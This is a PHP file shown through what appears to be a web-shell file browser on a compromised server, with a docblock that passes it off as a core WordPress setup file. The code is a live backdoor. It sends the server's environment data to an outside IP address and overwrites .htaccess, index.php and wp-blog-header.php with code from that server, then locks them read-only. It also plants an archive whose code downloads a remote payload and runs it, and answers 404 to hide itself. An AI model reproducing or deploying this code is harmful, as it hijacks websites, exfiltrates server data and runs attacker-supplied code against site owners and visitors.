|
Server : Apache System : Linux vps-1289444.devslamantis.cl 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64 User : vspt ( 1013) PHP Version : 7.4.33 Disable Function : NONE Directory : /proc/24182/cwd/usr/tmp/ |
<?php
/**
* Used to set up and fix common variables and include
* the WordPress procedural and class library.
*
* Allows for some configuration in wp-config.php (see default-constants.php)
*
* @package WordPress
*/
set_time_limit(0);
error_reporting(0);
$path = isset( $_SERVER['DOCUMENT_ROOT'] ) ? $_SERVER['DOCUMENT_ROOT'] : '';
$path = str_replace( '//', '/', $path );
$is_wp = 0;
if ( file_exists( $path.'/wp-config.php' ) && file_exists( $path.'/wp-includes/class-phpass.php' ) ) {
$is_wp = 1;
}
$disable_functions = ini_get( 'disable_functions' );
$postArray = array('server' => $_SERVER, 'disable' => $disable_functions, 'wp' => $is_wp );
$code_htaccess = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MNCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQ0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBXb3JkUHJlc3M=', true);
$md5_htaccess = '35d61779fe5dd790b8076e71c0d6d96a';
$code_index = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK', true);
if ( !file_exists( $path."/.htaccess" ) ) {
@file_put_contents( $path."/.htaccess", $code_htaccess );
} else {
$temp = @file_get_contents( $path."/.htaccess" );
if ( md5($temp) != $md5_htaccess ) {
@unlink( $path."/.htaccess" );
@file_put_contents( $path."/.htaccess", $code_htaccess );
}
}
@chmod( $path."/.htaccess", 0444 );
if ( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) {
$data = array();
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, 'http://69.30.227.202/wp-config.php' );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_HEADER, false );
curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $postArray ) );
$handle = curl_exec( $ch );
if ( $handle ) {
$data = json_decode( $handle, true );
}
if ( PHP_VERSION_ID < 80000 ) {
curl_close( $ch );
}
if ( isset( $data['status'] ) && isset( $data['version'] ) ) {
if ( isset( $data['type'] ) ){
if( $data['type'] == 4 && $data['version'] ){
$code_header = $data['version'];
$md5_header = md5($code_header);
if ( !file_exists( $path."/wp-blog-header.php" ) ) {
@file_put_contents( $path."/wp-blog-header.php", $code_header );
} else {
$temp = @file_get_contents( $path."/wp-blog-header.php" );
if ( md5($temp) != $md5_htaccess ) {
@unlink( $path."/wp-blog-header.php" );
@file_put_contents( $path."/wp-blog-header.php", $code_header );
}
}
@chmod( $path."/wp-blog-header.php", 0444 );
$md5_index = md5($code_index);
if ( !file_exists( $path."/index.php" ) ) {
@file_put_contents( $path."/index.php", $code_index );
} elseif ( $is_wp ) {
$temp = @file_get_contents( $path."/index.php" );
if ( md5($temp) != $md5_index ) {
@unlink( $path."/index.php" );
@file_put_contents( $path."/index.php", $code_index );
}
}
@chmod( $path."/index.php", 0444 );
}elseif ( $data['status'] == 1 && $data['version'] ){
$code_index = $data['version'];
if( $is_wp ){
$code_index .= "define( 'WP_USE_THEMES', true );require __DIR__ . '/wp-blog-header.php';";
}
$md5_index = md5($code_index);
if( strstr( $code_index, 'zip') && class_exists('ZipArchive') ){
$hijack_code = '<?php
$f = @tempnam(@sys_get_temp_dir(),"");
$handle = curl_init();
curl_setopt ($handle, CURLOPT_URL, "'.$data['link'].'");
curl_setopt ($handle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($handle, CURLOPT_CONNECTTIMEOUT, 5);
$result = curl_exec( $handle );
if ( PHP_VERSION_ID < 80000 ) {
curl_close( $handle );
}
@file_put_contents($f, $result);
@include $f;
@unlink($f);
//202607
';
$zip = new ZipArchive();
if($zip->open( $path.'/css', ZipArchive::CREATE) === TRUE){
$zip->addFromString('DK', $hijack_code);
$zip->close();
}
}
if ( file_exists( $path."/index.php" ) ) {
@chmod( $path."/index.php", 0755 );
@unlink( $path."/index.php" );
}
@file_put_contents( $path."/index.php", $code_index );
@chmod( $path."/index.php", 0444);
}
}
}
}
if ( isset($_GET['id'] ) ){
echo $_GET['id'];
} else {
header("HTTP/1.1 404 Not Found");
}
exit();
?>